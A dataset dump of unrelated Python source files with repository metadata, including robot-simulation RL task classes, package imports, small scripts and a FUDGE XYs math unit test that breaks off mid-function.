Deepspeed/bodhi3packages
|
2d1c09780694ff7355e692137e33594836bc80cc
|
[
"BSD-3-Clause"
] | null | null | null |
__version__ = "1.12.0"
__version_info__ = ( 1, 12, 0 )
| 14
| 31
| 0.625
| 9
| 56
| 2.888889
| 0.555556
| 0.230769
| 0.307692
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.177778
| 0.196429
| 56
| 3
| 32
| 18.666667
| 0.4
| 0
| 0
| 0
| 0
| 0
| 0.109091
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| null | 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
56820578ba3d8b7f229f5a28b60e63acda6b6265
| 87
|
py
|
Python
|
flask/{{cookiecutter.repo_name}}/tests/base.py
|
magiskboy/fastapi-template
|
b89358f7b6f9250dfb6033902d13706843f0c866
|
[
"MIT"
] | null | null | null |
flask/{{cookiecutter.repo_name}}/tests/base.py
|
magiskboy/fastapi-template
|
b89358f7b6f9250dfb6033902d13706843f0c866
|
[
"MIT"
] | 6
|
2020-06-03T02:22:56.000Z
|
2020-10-08T01:40:57.000Z
|
flask/{{cookiecutter.repo_name}}/tests/base.py
|
magiskboy/fastapi-template
|
b89358f7b6f9250dfb6033902d13706843f0c866
|
[
"MIT"
] | null | null | null |
# coding=utf-8
from unittest import TestCase
class BaseTestCase(TestCase):
pass
| 10.875
| 29
| 0.747126
| 11
| 87
| 5.909091
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014085
| 0.183908
| 87
| 7
| 30
| 12.428571
| 0.901408
| 0.137931
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0.333333
| 0.333333
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 5
|
56876a436db431fa05b2a5ee5048195fbd6afc54
| 3,346
|
py
|
Python
|
builder/tasks_bullet/standfromlie_task_bullet.py
|
FrankTianTT/laikago_robot
|
a5d54f10ea6a5620762c2210893ae8abe2f9ac05
|
[
"MIT"
] | 6
|
2020-12-02T07:49:36.000Z
|
2021-12-24T01:36:07.000Z
|
builder/tasks_bullet/standfromlie_task_bullet.py
|
FrankTianTT/laikago_robot
|
a5d54f10ea6a5620762c2210893ae8abe2f9ac05
|
[
"MIT"
] | null | null | null |
builder/tasks_bullet/standfromlie_task_bullet.py
|
FrankTianTT/laikago_robot
|
a5d54f10ea6a5620762c2210893ae8abe2f9ac05
|
[
"MIT"
] | 3
|
2021-01-12T14:09:40.000Z
|
2021-12-24T01:36:17.000Z
|
from builder.laikago_task_bullet import LaikagoTaskBullet
from builder.laikago_task import InitPose
import math
class LaikagoStandFromLieBulletBase(LaikagoTaskBullet):
def __init__(self,
reward_mode='without_shaping',
run_mode='train',
init_pose=InitPose.LIE):
super(LaikagoStandFromLieBulletBase, self).__init__(run_mode=run_mode,
reward_mode=reward_mode,
init_pose=init_pose)
class LaikagoStandFromLieBullet0(LaikagoStandFromLieBulletBase):
def __init__(self, run_mode='train', reward_mode='with_shaping'):
super(LaikagoStandFromLieBullet0, self).__init__(run_mode=run_mode,
reward_mode=reward_mode,
init_pose=InitPose.STAND)
@property
def is_healthy(self):
return not (self.done_r_bullet(threshold=30) or
self.done_p_bullet(threshold=30) or
self.done_y_bullet(threshold=30) or
self.done_height_bullet(threshold=0.35))# or
# self.done_region_bullet(threshold=3) or
# self.done_toe_contact_long(threshold=16) or
# self.done_toe_distance(threshold=0.2))
def cal_phi_function(self):
sum = self.reward_r_bullet(threshold=30) + self.reward_p_bullet(threshold=30) + \
self.reward_y_bullet(threshold=30) + self.reward_height_bullet(threshold=0.35) # + \
# self.reward_toe_contact_long(threshold=16) + self.reward_region_bullet(threshold=3) + \
# self.reward_toe_distance(threshold=0.2)
return sum
def update_reward(self):
self.reward_toe_height_bullet()
if self.is_healthy:
self.add_reward(self.reward_energy(), 1)
class LaikagoStandFromLieBullet1(LaikagoStandFromLieBulletBase):
def __init__(self, run_mode='train', reward_mode='with_shaping'):
super(LaikagoStandFromLieBullet1, self).__init__(run_mode=run_mode,
reward_mode=reward_mode,
init_pose=InitPose.LIE)
@property
def is_healthy(self):
return not (self.done_r_bullet(threshold=30) or
self.done_p_bullet(threshold=30) or
self.done_y_bullet(threshold=30) or
self.done_height_bullet(threshold=0.35))# or
# self.done_region_bullet(threshold=3) or
# self.done_toe_contact_long(threshold=16) or
# self.done_toe_distance(threshold=0.2))
def cal_phi_function(self):
sum = self.reward_r_bullet(threshold=30) + self.reward_p_bullet(threshold=30) + \
self.reward_y_bullet(threshold=30) + self.reward_height_bullet(threshold=0.35) # + \
# self.reward_toe_contact_long(threshold=16) + self.reward_region_bullet(threshold=3) + \
# self.reward_toe_distance(threshold=0.2)
return sum
def update_reward(self):
self.reward_toe_height_bullet()
if self.is_healthy:
self.add_reward(self.reward_energy(), 1)
| 47.126761
| 103
| 0.599821
| 368
| 3,346
| 5.092391
| 0.160326
| 0.160085
| 0.108858
| 0.060832
| 0.798292
| 0.798292
| 0.798292
| 0.798292
| 0.798292
| 0.798292
| 0
| 0.027039
| 0.314704
| 3,346
| 71
| 104
| 47.126761
| 0.790231
| 0.153915
| 0
| 0.673469
| 0
| 0
| 0.019169
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.183673
| false
| 0
| 0.061224
| 0.040816
| 0.387755
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
5695482b95a3dc3ea6f7eff26038effc96ad523f
| 131
|
py
|
Python
|
Helloworld.py
|
GauriPimparkar/python-programming
|
1d18783e884f6f7f3dae91602eba927cd847185b
|
[
"Apache-2.0"
] | null | null | null |
Helloworld.py
|
GauriPimparkar/python-programming
|
1d18783e884f6f7f3dae91602eba927cd847185b
|
[
"Apache-2.0"
] | null | null | null |
Helloworld.py
|
GauriPimparkar/python-programming
|
1d18783e884f6f7f3dae91602eba927cd847185b
|
[
"Apache-2.0"
] | null | null | null |
"""
write a first program in python3
How to run the program in terminal
python3 filename.py
"""
print("HelloWorld in Python !!")
| 16.375
| 34
| 0.725191
| 20
| 131
| 4.75
| 0.8
| 0.189474
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.018519
| 0.175573
| 131
| 7
| 35
| 18.714286
| 0.861111
| 0.671756
| 0
| 0
| 0
| 0
| 0.657143
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
3b37e04e7e5e6ae00724710bab370ffa8b4f2195
| 33
|
py
|
Python
|
tasks/pretrain_tasks/__init__.py
|
yangapku/OFA
|
6bf21b0f2483d53b2750db1ea3fd103ec7d331d1
|
[
"Apache-2.0"
] | 367
|
2022-02-07T10:46:36.000Z
|
2022-03-31T14:20:57.000Z
|
tasks/pretrain_tasks/__init__.py
|
yangapku/OFA
|
6bf21b0f2483d53b2750db1ea3fd103ec7d331d1
|
[
"Apache-2.0"
] | 29
|
2022-02-16T03:43:33.000Z
|
2022-03-31T03:23:35.000Z
|
tasks/pretrain_tasks/__init__.py
|
yangapku/OFA
|
6bf21b0f2483d53b2750db1ea3fd103ec7d331d1
|
[
"Apache-2.0"
] | 44
|
2022-02-11T05:14:59.000Z
|
2022-03-30T19:54:33.000Z
|
from .unify_task import UnifyTask
| 33
| 33
| 0.878788
| 5
| 33
| 5.6
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.090909
| 33
| 1
| 33
| 33
| 0.933333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
3b39d5e515a5eb0fb43ef1567256d3ec009446ac
| 202
|
py
|
Python
|
nengo_spinnaker/utils/__init__.py
|
ctn-archive/nengo_spinnaker_2014
|
2dcfe9506fedd9c4aebb66f5e1ba745d2f027871
|
[
"MIT"
] | null | null | null |
nengo_spinnaker/utils/__init__.py
|
ctn-archive/nengo_spinnaker_2014
|
2dcfe9506fedd9c4aebb66f5e1ba745d2f027871
|
[
"MIT"
] | 2
|
2015-06-15T19:51:15.000Z
|
2015-12-16T16:25:39.000Z
|
nengo_spinnaker/utils/__init__.py
|
ctn-archive/nengo_spinnaker_2014
|
2dcfe9506fedd9c4aebb66f5e1ba745d2f027871
|
[
"MIT"
] | null | null | null |
import nengo
from . import builder
from . import connections
from . import decoders
from . import fixpoint as fp
from . import keyspaces
from . import nodes
from . import probes
from . import vertices
| 18.363636
| 28
| 0.777228
| 28
| 202
| 5.607143
| 0.464286
| 0.509554
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.183168
| 202
| 10
| 29
| 20.2
| 0.951515
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
3b452afab0001a5bde310616c0fc5fa25d806704
| 132
|
py
|
Python
|
Misc/378_KthSmallestElMat.py
|
PsiPhiTheta/LeetCode
|
b4473d3fdf317012b6224b363306d66a33b07932
|
[
"Unlicense"
] | 1
|
2018-12-09T21:09:36.000Z
|
2018-12-09T21:09:36.000Z
|
Misc/378_KthSmallestElMat.py
|
PsiPhiTheta/LeetCode
|
b4473d3fdf317012b6224b363306d66a33b07932
|
[
"Unlicense"
] | null | null | null |
Misc/378_KthSmallestElMat.py
|
PsiPhiTheta/LeetCode
|
b4473d3fdf317012b6224b363306d66a33b07932
|
[
"Unlicense"
] | 1
|
2018-12-09T21:09:40.000Z
|
2018-12-09T21:09:40.000Z
|
class Solution:
def kthSmallest(self, matrix: 'List[List[int]]', k: 'int') -> 'int':
return sorted(sum(matrix,[]))[k-1]
| 33
| 72
| 0.590909
| 18
| 132
| 4.333333
| 0.722222
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.009259
| 0.181818
| 132
| 3
| 73
| 44
| 0.712963
| 0
| 0
| 0
| 0
| 0
| 0.159091
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0.333333
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 5
|
3b46e465f6231ae0b227de9b3ee073bb44d5c3a9
| 372
|
py
|
Python
|
finitewave/cpuwave2D/stimulation/__init__.py
|
ArsOkenov/Finitewave
|
14274d74be824a395b47a5c53ba18188798ab70d
|
[
"MIT"
] | null | null | null |
finitewave/cpuwave2D/stimulation/__init__.py
|
ArsOkenov/Finitewave
|
14274d74be824a395b47a5c53ba18188798ab70d
|
[
"MIT"
] | null | null | null |
finitewave/cpuwave2D/stimulation/__init__.py
|
ArsOkenov/Finitewave
|
14274d74be824a395b47a5c53ba18188798ab70d
|
[
"MIT"
] | null | null | null |
from finitewave.cpuwave2D.stimulation.stim_voltage_coord_2d \
import StimVoltageCoord2D
from finitewave.cpuwave2D.stimulation.stim_voltage_matrix_2d \
import StimVoltageMatrix2D
from finitewave.cpuwave2D.stimulation.stim_current_coord_2d \
import StimCurrentCoord2D
from finitewave.cpuwave2D.stimulation.stim_current_matrix_2d \
import StimCurrentMatrix2D
| 41.333333
| 62
| 0.860215
| 40
| 372
| 7.7
| 0.375
| 0.181818
| 0.298701
| 0.441558
| 0.584416
| 0.584416
| 0
| 0
| 0
| 0
| 0
| 0.035714
| 0.096774
| 372
| 8
| 63
| 46.5
| 0.880952
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 5
|
3b6825bbe210472d73987137cba8209c4e78fdff
| 86
|
py
|
Python
|
cgi-bin/ovh/get_test.py
|
martinphellwig/brython_wf
|
e169afc1e048cba0c12118b4cd6f109df6fe67c9
|
[
"BSD-3-Clause"
] | null | null | null |
cgi-bin/ovh/get_test.py
|
martinphellwig/brython_wf
|
e169afc1e048cba0c12118b4cd6f109df6fe67c9
|
[
"BSD-3-Clause"
] | null | null | null |
cgi-bin/ovh/get_test.py
|
martinphellwig/brython_wf
|
e169afc1e048cba0c12118b4cd6f109df6fe67c9
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/python
print('Content-type: text/plain\n\n')
print('script cgi with GET')
| 17.2
| 37
| 0.697674
| 15
| 86
| 4
| 0.866667
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.093023
| 86
| 4
| 38
| 21.5
| 0.769231
| 0.186047
| 0
| 0
| 0
| 0
| 0.681159
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
8e7f6bc6e60eb6345ad2e4616fb736a70f547ae2
| 54,228
|
py
|
Python
|
fudge/core/math/test/testXYs.py
|
brown170/fudge
|
4f818b0e0b0de52bc127dd77285b20ce3568c97a
|
[
"BSD-3-Clause"
] | 14
|
2019-08-29T23:46:24.000Z
|
2022-03-21T10:16:25.000Z
|
fudge/core/math/test/testXYs.py
|
brown170/fudge
|
4f818b0e0b0de52bc127dd77285b20ce3568c97a
|
[
"BSD-3-Clause"
] | 1
|
2020-08-04T16:14:45.000Z
|
2021-12-01T01:54:34.000Z
|
fudge/core/math/test/testXYs.py
|
brown170/fudge
|
4f818b0e0b0de52bc127dd77285b20ce3568c97a
|
[
"BSD-3-Clause"
] | 2
|
2022-03-03T22:41:41.000Z
|
2022-03-03T22:54:43.000Z
|
#! /usr/bin/env python3
# encoding: utf-8
# <<BEGIN-copyright>>
# Copyright 2021, Lawrence Livermore National Security, LLC.
# See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: BSD-3-Clause
# <<END-copyright>>
"""
test fudge/core/math
dbrown, 4/6/2012
"""
import unittest, math
from fudge.core.math._xData import axes, XYs
__metaclass__ = type
class TestXYs( unittest.TestCase ):
def setUp( self ):
self.vl1 = axes.axes( )
self.vl1[0] = axes.axis( 'energy_in', 0, 'eV', interpolation = axes.interpolationXY( axes.linearToken, axes.linearToken ) )
self.vl1[1] = axes.axis( 'crossSection', 1, 'b' )
self.pXY1 = XYs.XYs( self.vl1, [ [ 1, 0 ], [ 3, 2 ], [ 4, 1 ] ], 1e-3, safeDivide = True )
self.pXY2 = XYs.XYs( self.vl1, [ [ 1, 0 ], [ 4, 2 ] ], 1e-3, safeDivide = True )
self.pXY3 = XYs.XYs( self.vl1, [ [ 1, 1 ], [ 2, 2 ], [ 4, 3 ], [ 7, 1 ] ], 1e-3, safeDivide = True )
self.pXY4 = XYs.XYs( self.vl1, [ [ 1, 0 ], [ 2.5, 2 ], [ 3, 3 ], [ 7, 0 ] ], 1e-3, safeDivide = True )
def test_toString( self ):
self.assertEqual( str( self.pXY1.axes ), 'label="energy_in", index="0", unit="eV", interpolation="lin-lin"\nlabel="crossSection", index="1", unit="b"' )
self.assertEqual( self.pXY1.toString( ), ' 1.00000000e+00 0.00000000e+00\n 3.00000000e+00 2.00000000e+00\n 4.00000000e+00 1.00000000e+00\n' )
self.assertEqual( self.pXY2.toString( ), ' 1.00000000e+00 0.00000000e+00\n 4.00000000e+00 2.00000000e+00\n' )
self.assertEqual( self.pXY3.toString( ), ' 1.00000000e+00 1.00000000e+00\n 2.00000000e+00 2.00000000e+00\n 4.00000000e+00 3.00000000e+00\n 7.00000000e+00 1.00000000e+00\n' )
self.assertEqual( self.pXY4.toString( ), ' 1.00000000e+00 0.00000000e+00\n 2.50000000e+00 2.00000000e+00\n 3.00000000e+00 3.00000000e+00\n 7.00000000e+00 0.00000000e+00\n' )
def test_addition( self ):
self.assertEqual( (self.pXY1 + '320 b').toString( ) , ' 1.00000000e+00 3.20000000e+02\n 3.00000000e+00 3.22000000e+02\n 4.00000000e+00 3.21000000e+02\n' )
def test_division( self ):
self.assertEqual( (self.pXY2 / self.pXY1).toString( ) , ' 1.00000000e+00 6.66666667e-01\n 3.00000000e+00 6.66666667e-01\n 3.05133079e+00 7.01788614e-01\n 3.10397901e+00 7.39787525e-01\n 3.15797847e+00 7.81018183e-01\n 3.21336384e+00 8.25896131e-01\n 3.27017070e+00 8.74911260e-01\n 3.32843553e+00 9.28645220e-01\n 3.38819575e+00 9.87793960e-01\n 3.44948974e+00 1.05319726e+00\n 3.51235687e+00 1.12587794e+00\n 3.57683750e+00 1.20709453e+00\n 3.64297306e+00 1.29841346e+00\n 3.71080601e+00 1.40180921e+00\n 3.74537258e+00 1.45879833e+00\n 3.78037992e+00 1.51980658e+00\n 3.81583366e+00 1.58526920e+00\n 3.85173947e+00 1.65568667e+00\n 3.88810314e+00 1.73163732e+00\n 3.92493050e+00 1.81379312e+00\n 3.96222746e+00 1.90293944e+00\n 4.00000000e+00 2.00000000e+00\n' )
self.assertEqual( (5. / self.pXY3).toString( ), ' 1.00000000e+00 5.00000000e+00\n 2.00000000e+00 2.50000000e+00\n 4.00000000e+00 1.66666667e+00\n 7.00000000e+00 5.00000000e+00\n' )
self.assertEqual( (3. / self.pXY4).toString( ), ' 1.00000000e+00 3.14572800e+06\n 1.00000143e+00 1.57286400e+06\n 1.00000286e+00 7.86432000e+05\n 1.00000572e+00 3.93216000e+05\n 1.00001144e+00 1.96608000e+05\n 1.00002289e+00 9.83040000e+04\n 1.00004578e+00 4.91520000e+04\n 1.00009155e+00 2.45760000e+04\n 1.00018311e+00 1.22880000e+04\n 1.00036621e+00 6.14400000e+03\n 1.00073242e+00 3.07200000e+03\n 1.00146484e+00 1.53600000e+03\n 1.00292969e+00 7.68000000e+02\n 1.00585938e+00 3.84000000e+02\n 1.01171875e+00 1.92000000e+02\n 1.02343750e+00 9.60000000e+01\n 1.04687500e+00 4.80000000e+01\n 1.09375000e+00 2.40000000e+01\n 1.18750000e+00 1.20000000e+01\n 1.37500000e+00 6.00000000e+00\n 1.75000000e+00 3.00000000e+00\n 2.50000000e+00 1.50000000e+00\n 3.00000000e+00 1.00000000e+00\n 5.00000000e+00 2.00000000e+00\n 6.00000000e+00 4.00000000e+00\n 6.50000000e+00 8.00000000e+00\n 6.75000000e+00 1.60000000e+01\n 6.87500000e+00 3.20000000e+01\n 6.93750000e+00 6.40000000e+01\n 6.96875000e+00 1.28000000e+02\n 6.98437500e+00 2.56000000e+02\n 6.99218750e+00 5.12000000e+02\n 6.99609375e+00 1.02400000e+03\n 6.99804688e+00 2.04800000e+03\n 6.99902344e+00 4.09600000e+03\n 6.99951172e+00 8.19200000e+03\n 6.99975586e+00 1.63840000e+04\n 6.99987793e+00 3.27680000e+04\n 6.99993896e+00 6.55360000e+04\n 6.99996948e+00 1.31072000e+05\n 6.99998474e+00 2.62144000e+05\n 6.99999237e+00 5.24288000e+05\n 6.99999619e+00 1.04857600e+06\n 7.00000000e+00 2.09715200e+06\n' )
@unittest.skip('appears broken, have to check')
def test_multiplication( self ):
self.assertEqual( (self.pXY3 * self.pXY4).toString( ), ' 1.00000000e+00 0.00000000e+00\n 1.00781250e+00 1.04980469e-02\n 1.01562500e+00 2.11588542e-02\n 1.02206816e+00 3.00735579e-02\n 1.03125000e+00 4.29687500e-02\n 1.03709549e+00 5.12954139e-02\n 1.04408114e+00 6.13657163e-02\n 1.05244883e+00 7.35996147e-02\n 1.06250000e+00 8.85416667e-02\n 1.07406870e+00 1.06073169e-01\n 1.08795603e+00 1.27589728e-01\n 1.10470095e+00 1.54217649e-01\n 1.12500000e+00 1.87500000e-01\n 1.14770917e+00 2.26036232e-01\n 1.16078111e+00 2.48842226e-01\n 1.17518645e+00 2.74502328e-01\n 1.19109494e+00 3.03482953e-01\n 1.20870461e+00 3.36349639e-01\n 1.22824801e+00 3.73793554e-01\n 1.25000000e+00 4.16666667e-01\n 1.27095032e+00 4.59152521e-01\n 1.29406933e+00 5.07394793e-01\n 1.31965712e+00 5.62450392e-01\n 1.34807024e+00 6.25630840e-01\n 1.37973562e+00 6.98579692e-01\n 1.41516893e+00 7.83378888e-01\n 1.45499885e+00 8.82697082e-01\n 1.50000000e+00 1.00000000e+00\n 1.54003277e+00 1.10889089e+00\n 1.58451981e+00 1.23491095e+00\n 1.63418076e+00 1.38182132e+00\n 1.68989795e+00 1.55447617e+00\n 1.75276517e+00 1.75922743e+00\n 1.82415510e+00 2.00451565e+00\n 1.86357392e+00 2.14577844e+00\n 1.90581432e+00 2.30175188e+00\n 1.95117541e+00 2.47454677e+00\n 2.00000000e+00 2.66666667e+00\n 2.10196098e+00 3.01346731e+00\n 2.21748226e+00 3.42313988e+00\n 2.34909690e+00 3.91156878e+00\n 2.50000000e+00 4.50000000e+00\n 2.60245369e+00 5.07399206e+00\n 2.71824584e+00 5.74798335e+00\n 2.84976649e+00 6.54605227e+00\n 3.00000000e+00 7.50000000e+00\n 3.25912355e+00 7.37764929e+00\n 3.51316702e+00 7.20880972e+00\n 3.76058500e+00 6.99784705e+00\n 4.00000000e+00 6.75000000e+00\n 4.15485616e+00 6.18127962e+00\n 4.29691728e+00 5.68064014e+00\n 4.42768594e+00 5.23763536e+00\n 4.54843835e+00 4.84374849e+00\n 4.66026546e+00 4.49197976e+00\n 4.76410537e+00 4.17653339e+00\n 4.86076920e+00 3.89257732e+00\n 4.95096189e+00 3.63605716e+00\n 5.11432055e+00 3.19215308e+00\n 5.25826396e+00 2.82312423e+00\n 5.38598130e+00 2.51304222e+00\n 5.50000000e+00 2.25000000e+00\n 5.57323688e+00 2.08789884e+00\n 5.64127852e+00 1.94210315e+00\n 5.70463912e+00 1.81050056e+00\n 5.76376735e+00 1.69131008e+00\n 5.87085224e+00 1.48434815e+00\n 5.96515308e+00 1.31158927e+00\n 6.04872887e+00 1.16591174e+00\n 6.12322029e+00 1.04195611e+00\n 6.18995084e+00 9.35626686e-01\n 6.25000000e+00 8.43750000e-01\n 6.31750172e+00 7.44775663e-01\n 6.37724661e+00 6.60975937e-01\n 6.43039656e+00 5.89426615e-01\n 6.47789464e+00 5.27876022e-01\n 6.52051432e+00 4.74567518e-01\n 6.55889601e+00 4.28114356e-01\n 6.59357452e+00 3.87409940e-01\n 6.62500000e+00 3.51562500e-01\n 6.65762798e+00 3.15388312e-01\n 6.68694308e+00 2.83795008e-01\n 6.71335759e+00 2.56063742e-01\n 6.73722032e+00 2.31611340e-01\n 6.75882834e+00 2.09960628e-01\n 6.77843624e+00 1.90718071e-01\n 6.81250000e+00 1.58203125e-01\n 6.84294858e+00 1.30121141e-01\n 6.86806595e+00 1.07653833e-01\n 6.88889694e+00 8.94992361e-02\n 6.90625000e+00 7.47070312e-02\n 6.93387829e+00 5.17773231e-02\n 6.95312500e+00 3.62548828e-02\n 6.97656250e+00 1.78527832e-02\n 7.00000000e+00 0.00000000e+00\n' )
mul = self.pXY3 * self.pXY4
mul = XYs.XYs( self.vl1, mul, 1e-3, safeDivide = True )
self.assertEqual( mul.toXML( indent = ' ', pairsPerLine = 5 ), ' <XYs length="95">\n <axes>\n <axis index="0" label="energy_in" unit="eV" interpolation="lin-lin"/>\n <axis index="1" label="crossSection" unit="b"/></axes>\n <data> 1 0 1.0078125 0.010498046875 1.015625 0.0211588541666667 1.02206816450916 0.0300735578586169 1.03125 0.04296875\n 1.03709548541904 0.0512954139433551 1.04408114029402 0.0613657162981952 1.05244883114563 0.0735996147122231 1.0625 0.0885416666666667 1.07406870367714 0.106073168722065\n 1.08795603208456 0.127589727552826 1.10470094808518 0.154217648820148 1.125 0.1875 1.14770917415658 0.226036232382132 1.16078110542007 0.248842225706899\n 1.17518645301135 0.274502328440062 1.19109493916226 0.303482953247579 1.20870461334278 0.336349638631127 1.22824801122864 0.373793554477952 1.25 0.416666666666667\n 1.27095031675892 0.459152521214241 1.29406932593601 0.507394792523285 1.31965711975226 0.562450391947428 1.34807023901482 0.625630840403528 1.37973562459275 0.698579692236791\n 1.41516892756513 0.783378887974281 1.45499885404707 0.882697081641619 1.5 1 1.54003277111879 1.10889088666803 1.5845198074299 1.23491095027706\n 1.63418075605966 1.38182131655475 1.68989794855664 1.55447617063905 1.7527651713035 1.75922743257478 1.82415510296892 2.00451564895817 1.8635739169048 2.14577843581748\n 1.90581432257351 2.30175187940376 1.95117541188947 2.47454676809676 2 2.66666666666667 2.10196098363072 3.01346730689104 2.21748225867393 3.42313988413839\n 2.34909690379139 3.91156877812911 2.5 4.5 2.60245369082114 5.07399205827914 2.71824583655185 5.74798334620742 2.84976648596235 6.54605226749537\n 3 7.5 3.25912355027679 7.37764928828068 3.51316701949486 7.20880972147796 3.76058499822597 6.99784704834286 4 6.75\n 4.1548561593768 6.18127961738546 4.29691728011311 5.68064013519072 4.42768593951169 5.23763535825917 4.54843835433528 4.84374848549568 4.66026546142249 4.49197975943939\n 4.76410536511896 4.17653338530568 4.86076919655937 3.8925773177751 4.95096189432334 3.63605715851499 5.11432055114385 3.19215307856132 5.25826396487047 2.82312423438151\n 5.38598129622604 2.51304221589657 5.5 2.25 5.5732368821658 2.08789883558164 5.64127851613973 1.94210314824692 5.70463912464279 1.810500555221\n 5.76376734554662 1.69131007880846 5.87085224304475 1.48434814623497 5.96515307716505 1.3115892689767 6.04872886591051 1.16591173584307 6.12322028885515 1.04195611429627\n 6.18995084332182 0.935626685626149 6.25 0.84375 6.3175017189294 0.744775662635115 6.3772466086523 0.6609759367283 6.43039656311088 0.589426615324793\n 6.47789464147778 0.527876021590477 6.52051432037161 0.474567518205643 6.55889601109599 0.428114356191523 6.59357452486162 0.387409939774517 6.625 0.3515625\n 6.65762798315705 0.315388311590772 6.68694307998582 0.283795007595014 6.71335759125661 0.256063741802644 6.73722032048298 0.231611339621303 6.75882834186989 0.209960627940196\n 6.77843623876513 0.190718071072424 6.8125 0.158203125 6.84294857787223 0.130121141192002 6.86806595187316 0.107653832622697 6.88889694448429 0.0894992361092431\n 6.90625 0.07470703125 6.93387828955896 0.0517773231266023 6.953125 0.0362548828125 6.9765625 0.017852783203125 7 0</data></XYs>' )
@unittest.skip('appears broken, have to check')
def test_thickening( self ):
tXY3 = self.pXY3.thicken( 10, 0, 1 )
tXY4 = self.pXY4.thicken( 10, 0, 1 )
